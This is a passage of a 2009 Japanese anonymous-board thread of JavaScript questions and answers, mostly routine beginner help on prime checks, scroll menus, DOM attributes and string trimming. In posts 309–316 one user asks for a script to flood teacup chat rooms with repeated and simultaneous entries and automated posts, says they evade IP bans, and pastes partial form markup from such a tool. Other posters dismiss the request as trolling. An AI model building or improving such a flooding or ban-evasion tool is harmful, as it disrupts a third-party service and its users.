 // ... 素数判定の計算式

 // 判定結果のreturn
 return true; // or false
}

の中身をどうやって書いてるかそのまま貼りつけるだけでいいので。
ただの「教えて」だけだと>>269の言うとおりスルーになるから生産性ないよ

271:Name_Not_Found
09/10/05 15:26:11
retrun true;がそのまま残ってるんじゃねーのw

272:独学
09/10/05 16:07:43
>>271
そのまま残ってるというのfalseは機能しないって事ですか?
まだまったくの初心者ですいません><

273:Name_Not_Found
09/10/05 16:23:54
>272
たぶん、もうスルーされると思う。人に質問する時は質問された人の立場になってみてね。
自分のレスだけ読み返して読んでみて、的確なレスを返せる人がいると思うかい?

274:独学
09/10/05 16:43:54
>>273
確かに的確に答えてもらえないようなレスになってました、、
自分が理解出来ないのところに首を突っ込んだせいですね。。。

275:Name_Not_Found
09/10/05 17:18:29
>>274
そんなレスしなくていいからeratosthenesの中身どうやって書いたかをコピペしてくれ
とりあえずコピペすればいいだけなんだから

276:独学
09/10/05 18:05:26
>>275
これ素数判定の書いたアルゴリズムです。。
int main()
{
int i,n;
for(;;){
printf("入力 ");
scanf("%d",&i);

for ( n = 2; n < i; n++){
if ( i % n == 0){
break;
}
}
if (n == i){
printf("%d 素数\n",i);
}
else{
printf("%d 整数\n",i);
}
}
}

277:Name_Not_Found
09/10/05 18:28:04
>>276
なるほど。C言語のプログラムをどっかから持ってきたか作ったかしたのかw
それは大変だな。とりあえず最大限生かして書き変えたから>>263の<script></script>の間を下のに書き換えて。
とりあえずjavascriptにintとかなくて全部varだと思った方がいいのと、出力はDOM考えないなら基本的にalertね。

var eratosthenes = function(i) { // 素数判定関数
 var ret; // 戻り値
 var n = 2;
 for (; n < i; n++){
  if ( i % n == 0){
   break;
  }
 }
 if (n == i){
  ret = i + " 素数";
 }
 else{
  ret = i + " 整数";
 }
 return ret;
}
// ユーザの入力
for (;;) {
 var num = window.prompt('入力');
 if (/[0-9]+/.test(num)) {
  alert(eratosthenes(num)); // 素数判定関数の呼び出しと出力
 }
 else {
  alert('終了します');
  break;
 }
}

278:277
09/10/05 18:29:17
書き忘れた。
そのままだと無限ループで永遠終わらないから数字以外入力した時に終わるようにしてある

279:Name_Not_Found
09/10/05 19:34:12
すみません。少し依頼させて下さい。
当方は Windows の EmEditor というエディタを使用しています。
その中のフリーのJSマクロに機能を追加したいと思っています。

基本としたいマクロは↓のものです。
 URLリンク(www37.atwiki.jp)

このマクロに追加(依頼)したい機能は「各設定のコメント設定の取得と反映」です。

自分ではプログラミングは全く判らないので、キチンと対価を払って
専門知識を持つ人に依頼したいと思って書き込ませて頂く次第です。
そんなにたくさんの金額が出せるわけではありませんが、
引き受けて下さる方がいらっしゃったらお願い致します。

280:独学
09/10/06 01:07:48
>>277
ありがとうございますm(__)m上手く機能しました。。

自分で構造理解して自力でも書けるように頑張ります
有り難うございます。。

281:Name_Not_Found
09/10/07 19:20:53
スクロールに応じて動くメニューを作りたいのですが、
下記で詰まっておりますorz
#menu {
position: relative;
top: 0px;
left: 0px;
}

function hoge()
{
var e = document.getElementById( "menu" );
var p = e.parentNode;
var scrollY = document.body.scrollTop + 0;

if( p.offsetHeight - e.offsetHeight > scrollY )
e.style.top = scrollY + "px";
}

<body onScroll="hoge()">

親ボックスの範囲内で動かすには、どうしたら良いのでしょう?

282:Name_Not_Found
09/10/07 20:25:48
>>281
ダメだ。理解しようと思ったけどわからん
> 親ボックスの範囲内
これどういうこと?HTMLの構造がわからん

<div id="header">
 <div id="main">menu</div>
<div>
<div id="contents">contents</div>

こういう意味?

283:Name_Not_Found
09/10/07 20:31:53
>>282
そういう意味です(;^^

上下にスクロールしたら<div id="menu"></div>も一緒に動くようにはなったのですが、
下にスクロールし続けると親ボックスの<div id="menuBlock"></div>から外に出てしまうのですorz

284:Name_Not_Found
09/10/07 22:24:11 uCzP8AYT
>>283
パッと思いつくやり方はその親ボックスの下の要素の位置を保持しておいて、
それより上にある間だけ実行するとかかな。
offsetHeight使ってるならその下の要素の位置もすぐ求められるでしょ?
>>282で言うcontentsの位置を保持して、menuがそれより下に来ないようにするとか

285:Name_Not_Found
09/10/07 22:55:05
>>284
今頃気付いたのですが、「e.style.top - 0」は数値ではないですよね?

286:Name_Not_Found
09/10/07 22:59:05
alertで確かめたらNaNと出てきましたorz

287:Name_Not_Found
09/10/07 23:08:24
alert( Number( e.style.top ) );としてもNaNと出るのですが・・・

ブラウザはFirefoxです(・ω・)

288:Name_Not_Found
09/10/07 23:46:18
alert( e.style.top )見てから考えろ

289:Name_Not_Found
09/10/08 00:10:50 hchNy0NR
>>287
それをやるならparseInt(e.style.top)な
そうすると数字だけ取り出してくれる

290:Name_Not_Found
09/10/08 00:19:11
>>289
ありがとうございます。

ところで先ほどから<div>の高さを取得しようと試みているのですが、
offsetHeightとしても正確な値が取得できないのですorz
(明らかに少ない値が出る)

291:Name_Not_Found
09/10/08 13:07:05
>>283
どこができないんだ?と思ってちょっと試してみたけど、
Opera10,Chome,Safari,IE6,Firefox3.5
の全部で上手くいった
構造が違うのか?

こういう構造で試した
<body onScroll="hoge()">
 <div id="main">
  <div id="menuBlock" style="height:300px;background-color:#eee;">
   <div id="menu">menu</div>
  </div>
  <div id="contents"></div>
 </div>
</body>

292:Name_Not_Found
09/10/08 18:32:17
>>291
すみません・・・自己解決しました(;^^

どうやらJavaScriptではなくてHTMLの問題だったようですorz
当方、テーブルレイアウトでして<td></td>のなかに<div id="menuBlock"></div>を入れているのです。
そこで<td>の高さをoffsetHeightで取得したらちゃんと動きました。

それにしても<div id="menuBlock" style="height:100%;">としても
offsetHeightで正確な高さを得られないのはなぜでしょう?

293:Name_Not_Found
09/10/08 19:46:41
>>292
>正確な高さ
定義が違えば正解も違うってやつじゃない?

URLリンク(developer.mozilla.org)
英語だけど問題ないでしょう

294:Name_Not_Found
09/10/08 22:28:49
>>294
英語なので意図は解りませんでしたが、図が参考になりました(;^^

ちなみに今のところ以下のソースで落ち着いてます。

function init()
{
 var e = document.getElementById( "menu" );
 var p = e.parentNode;
 var scrollY = document.body.scrollTop + 0;
 var scrollH = p.clientHeight - e.offsetHeight;

 if( scrollY < scrollH )
  e.style.top = scrollY + "px";
}

IE8、Firefox3.5、Safari4、Chrome3、Opera10で動作確認しましたので、
これでいこうと思います。

295:Name_Not_Found
09/10/08 22:30:59
あ、間違えた・・
>>293
でした(;^^

296:Name_Not_Found
09/10/12 14:15:01
JavaScriptから指定idを持つ body を持つページの場合だけ
背景色を変更しようと次の様にコードを書いたのですが、
色が変わりません。どこに問題があるのでしょうか?

<body id="id_test" bgcolor="lime">

function ChangeBgColor()
{
document.getElementById('id_test').bgcolor = "red";
}
※onclick = ChangeBgColor() はボタンに設定しています。

297:Name_Not_Found
09/10/12 14:41:13
>>296
setAttribute経由でおk

298:Name_Not_Found
09/10/12 14:45:40
ここ質問スレじゃなかったか
document.body.setAttribute("bgcolor", "red");
少なくともFx3.5のこのコードで動く

bodyにgetElementByIdできるかは知らない
あとエラーチェックするクセはつけとけ
var e = document.getElementById('id_test');
if (!e) { return; } // 値がないならなにもせず関数終了


299:Name_Not_Found
09/10/12 14:59:47
>>297
サンクス

300:Name_Not_Found
09/10/12 15:00:33
>>298
コードまでお教え頂きどうもありがとうございます。
非常に勉強になりました。どうもです。

301:光 ◆M21AkfQGck
09/10/13 18:21:32
別スレでプログラムがPCで上手く動作しないことを相談し、
自分なりに修正できる点は全て修正したつもりなのですが
動作しますでしょうか?
動作しなければ修正ヵ所等を教えていただけたら幸いです。
ちなみに作成/動作環境はdocomo SH903iで
修正前はドコモとソフバンでは動作しましたがIEで動作しない状況でした。

302:Name_Not_Found
09/10/13 18:26:07
何を言っているんだ
あと大文字でSAGEるな

303:Name_Not_Found
09/10/13 20:18:18 6CdctJW2
URLリンク(www.dff.jp)

上記の”あなたのクリック募金での募金総額は?円” の
?にあたる部分のような他のページの処理が行われたことをインクリメントする
プログラムをスクリプトで書けるものでしょうか?

処理の概念的なものでも頂ければと思います。宜しくです。

304:Name_Not_Found
09/10/13 22:17:57 mbYfk7Mp
>>303
それ向こうのスレのときからずっと試してるんだけど、一部エラーになるんだよね
ログインしないと金額0円のまま?それなら登録して試してみるんだけど。

305:光 ◆M21AkfQGck
09/10/14 06:03:15
>>301これになります
URLリンク(indexroom-id.hp.infoseek.co.jp)


306:Name_Not_Found
09/10/14 10:44:34 rggNnQJZ
>>304
ありがとうございます。
募金先ページのソースも見ていたら、クリックされるflash自身は
URLリンク(as.dff.jp)のオブジェクトでした。

つまりコレって、募金の情報をdffが管理してるのであって、他のページの処理を計算してる訳ではないのですね。
自分のサイトに募金の状況が貼れたらいいかなと思ったのですが、難しいそうですねぇ~
flashを貼り付けることは可能だと思いますが、flashだけだとなぜか
一ヶ月で約? 一年で約?の ?部分が見れなくて見栄えが悪いですし。。。

307:Name_Not_Found
09/10/14 10:53:17
現物見てないけど、たぶんflashが読み込むデータがクロスドメイン制限に引っかかってる

308:Name_Not_Found
09/10/17 01:33:56 a+bs1nMh
マウスが動いてから一秒後に動く前と動いた後のマウスのclientxとyの座標を表示させるスクリプトお願いします。

309:Name_Not_Found
09/10/20 12:08:07
こんにちは。別の板で紹介されて移動してきました。コピペですみませんがよろしくお願いします。
【 CGI&PHP名 】 よくわかりません
【 配布先URL 】URLリンク(chat.teacup.com)
【 依頼期限 】 無期限
【 依頼内容 】このチャットで連続入室できるJS(ジャバスクリプト)
このチャットで連続入室&全部屋同時入室&連続色変化のできるスクリプトを作った人がいました。
その人とコンタクトがとれて、メールでhtm方式で送ってもらい2ヶ月程遊んでいましたが、やりすぎたのかセキュリティが厳しくなったようでできなくなりました。
その作った人とは今はコンタクトがとれなくて、ここへきました。

一度退出ボタンを押さないと、ハンドルネームが変えられないようにシステムも変更されたようです。
先週までは何度入っても違うハンドルネームで入れたのですが・・・・
もし連続入室ができるスクリプトを作れるならばお願いします。
運営側で一つのIPに対してIDが一つというような設定になってるようです。
よくアクセス規制を食らいますが、その都度IPを変えてきました。

310:続きです。
09/10/20 12:09:05
スクリプトをもらった人のソースをみると一部ですがこうなっています。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS" />
</HEAD>

<SCRIPT LANGUAGE="JavaScript">

中間部分割愛します。
FORM ACTION="#" NAME="form1" METHOD="POST" target="ilf1">
<INPUT TYPE=HIDDEN NAME="codeck" VALUE="あ">
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="enter" VALUE="main">
ID:<INPUT TYPE=TEXT NAME="id" size=7>
name:<INPUT TYPE=TEXT NAME="nickname" size=25 maxlength=45>
<INPUT TYPE=SUBMIT VALUE="in" onClick="randid();">
こんな感じです。


311:続きです。
09/10/20 12:11:42
スクリプトを作成した当時のハンドルネーム「minikra」さんはこの連続入室はやろうと思えば、
一つのルームに対して3000~6000人程入室できると言っていました。
メールでこのスクリプトをもらったときに、サーバーへの負荷を考慮すれば、300人までは大丈夫だと言われました。
上の続きの一部です。
</FORM>
</td>
<td>
<FORM ACTION="#" METHOD="POST" NAME="form1c" target="ilf1">
<INPUT NAME="enter" VALUE="exit" TYPE=HIDDEN>
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="id">
<INPUT VALUE="out" TYPE=SUBMIT onClick="mem();">
</FORM>
</td>
<td>
<FORM ACTION="#" NAME="formp" METHOD="POST" target="ilf1">
<INPUT TYPE=HIDDEN NAME="codeck" VALUE="あ">
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="enter" VALUE="main">
<INPUT TYPE=HIDDEN NAME="id">
name:<INPUT TYPE=TEXT NAME="nickname" size=36 maxlength=35>
<INPUT TYPE
=SUBMIT VALUE="in" onClick="randid();">
このスレッドお気に入りに入れておくのでどなたか達人様よろしくお願いします。
現在は発言ごとに色が変わるグラデーションと、自動発言、全部屋順序入室ができます。
依頼は各部屋に連続して入室できるようなスクリプトです。

312:Name_Not_Found
09/10/20 12:12:51
>>309
何に使うのそれ? 荒らし用途以外に思いつかないんだけど。

313:Name_Not_Found
09/10/20 12:15:09
釣りだろうが、本気だとしたら確かに荒らしの思考回路だなと思った。

314:Name_Not_Found
09/10/20 12:17:32
>>309-311
一部だけ見せられても手の出しようが無い。
どこかに全部うpしてくれ。

315:Name_Not_Found
09/10/20 12:19:41
>>312 違う板でも同じこと聞かれましたがチャットで遊ぶためですよ。
>>313 よくどの部屋でも荒らしと呼ばれています。
但し、荒らし連合国軍ではありません。荒らし連合国軍は田代砲と言われているものを、
使っていたようです。私は田代砲ではなくスクリプトによる入室&連続発言&連続色変化&各部屋順序入室などをして遊んでいます。
一つのルームに対して300人までならおkと太鼓判もらっています。
スクリプトを作成した本人にです。

316:Name_Not_Found
09/10/20 12:22:15
>>314 全部ですか?このスクリプトは他人に渡してはいけないと製作者の当時のコテハン
「minikra」さんに言われていますので・・・・私と直接メールしますか?

>>313 釣りではないです。この遊びは爽快です。

317:Name_Not_Found
09/10/20 12:25:44
以降スルー推奨

318:Name_Not_Found
09/10/20 20:22:48
鯖からみて、JavaScriptだろうが田代砲だろうが、同じ動作するなら荒らしだと思っていた
田代砲さえ使わなければ荒らしじゃないのか
目からウロコだぜ

鯖負荷について、スクリプト作者が大丈夫ってのもよく分からないけど
鯖管理側じゃないと負荷は分からないと思っていたから、またまた目からウロコだぜ

319:Name_Not_Found
09/10/21 01:22:39

var s = "AAA\r\nBBB\r\nCCC\r\n";


という文字列のうち s の末尾にある"\r\n"だけを削除するにはどうすれば良いでしょうか?

1文字ずつ比較して削除する事も出来ますが、
出来るだけスマートに削除したいです。

.NetのtrimEndみたいな関数はありませんか?

320:Name_Not_Found
09/10/21 01:32:03
s = s.replace(/\r\n$/, "");

321:Name_Not_Found
09/10/21 01:33:52
s.s.trimRight();
でもいいのか、非標準だけど

322:Name_Not_Found
09/10/21 01:49:53
>>320 >>321
やっぱりスマートな構文ってあるのですね。
ありがとうございました。

323:Name_Not_Found
09/10/21 09:34:13
スマートという語を使い出すとロクなことがない

324:Name_Not_Found
09/10/21 12:29:16
綺麗な構文

325:minikra
09/10/21 13:38:17 CbGyI56F
>>311
ちなみに貼り付けてるそれはスクリプトではなくてタグでしょ。
生憎teacupではそのスクリプトはもう使えないよ。
どちらにしても最近遊びに行かないから調べてないし直すきもないので。
以後別のminikraが活躍してくれますよきっと。
perlでね。
てかなんでperlなんだか;
それと素人プログラム恥ずかしいから他の人に渡すなよ?!

326:スーパーひたち
09/10/21 13:49:14
>>325  !!!!!!!!!!!!!!師匠!?

327:スーパーひたち
09/10/21 13:53:39
ぬぬぬぬ・・・・・・別のminikraとは一体!?


328:Name_Not_Found
09/10/21 15:44:39
何この茶番

329:Name_Not_Found
09/10/21 17:03:50
すみません、どうしても分からないのでお助け下さい

新しいウインドウを開いて、数秒後に違うページに移動後
『2番目のページが読み込み終わったら』更に次のページに移動するスクリプトを作りたいのですが
setTimeout使わずに、2番目が読み込み終わったら処理って出来ますでしょうか?

function a() {
WindowObject = window.open(aaa);
setTimeout("b()", 1000);
}

function b() {
WindowObject.location.href = bbb;
setTimeout("WindowObject.href = ccc", 3000); ←今はここの秒数で調整してます;;
}

330:Name_Not_Found
09/10/21 17:05:55
2番目のページにその処理書けば良いんじゃない?

331:Name_Not_Found
09/10/21 17:08:30
2番目のページは、他人のサイトのページなので弄れないんです;;

332:Name_Not_Found
09/10/21 17:21:20
じゃフレーム使えば?

333:Name_Not_Found
09/10/22 03:07:47
>>332
インラインフレーム使って弄ってたら出来ました!どうもありがとう
新しいウインドウ開くより管理が簡単なんですね、勉強になりました

334:Name_Not_Found
09/10/24 20:20:23
「大」「中」「小」のボタンがあって、押したボタンの画像をjavascriptで置き換えることはできたんだけど、これをクッキーに保存したい場合どういう風にソース書けばいいですか?
ソース
js--------------
function swapImg(num){
if(document.getElementsByTagName) {
var images = document.getElementsByTagName("img");
for(var i=0; i < images.length; i++) {
if(images[i].getAttribute("src").match("2.gif")){
images[i].setAttribute("src", images[i].getAttribute("src").replace("2.gif", "1.gif")); } }
for(var i=0; i < images.length; i++) {
if(images[i].getAttribute("src").match("im_size-"+num)){
images[i].setAttribute("src", images[i].getAttribute("src").replace("1.gif", "2.gif")); } } } }
html-------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<title></title>
<script type="text/javascript" src="java.js"></script>
</head>
<body>
<img src="im_size-s1.gif" onclick="swapImg('s')" id="small">
<img src="im_size-m1.gif" onclick="swapImg('m')" id="middle">
<img src="im_size-b1.gif" onclick="swapImg('b')" id="large">
</body>
</html>

335:Name_Not_Found
09/10/25 18:19:27
>>334
正直, 放置するかどうか迷いまくってしまった.
興味よりも面倒臭さが先に立つんだよねぇ.
そもそも きちんと動くのを確認済 ?!
検証していないけど何かと問題の多い setAttribute を使ってるので気になる.

サンプルを作ってどこかに upload したほうが答えやすいんじゃないかな ?

336:Name_Not_Found
09/11/06 06:54:26
salvage

337:Name_Not_Found
09/11/13 09:21:00
ゲームのレビューのようなプログラムを依頼したいです

<機能というかお願い>
投稿フォームを作成して
6項目に(0-5)の間で評価点をつけてもらう
それを別の場所に(コピペするのでプログラム的には一番下で構いません)
投稿者の平均値の6角形のスコアチャートとして表示
スコアチャート上部に投稿者○人の平均値として文章表示

それとは別に全体評価を0-100の間で入力して貰い
上記と同じように別の場所に投稿者○人の平均評価○点
というような表示をさせたいです
複数ページ作る場合収集した数値が混ざらないかも教えて欲しいです

分かりづらい文章で申し訳ないです


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch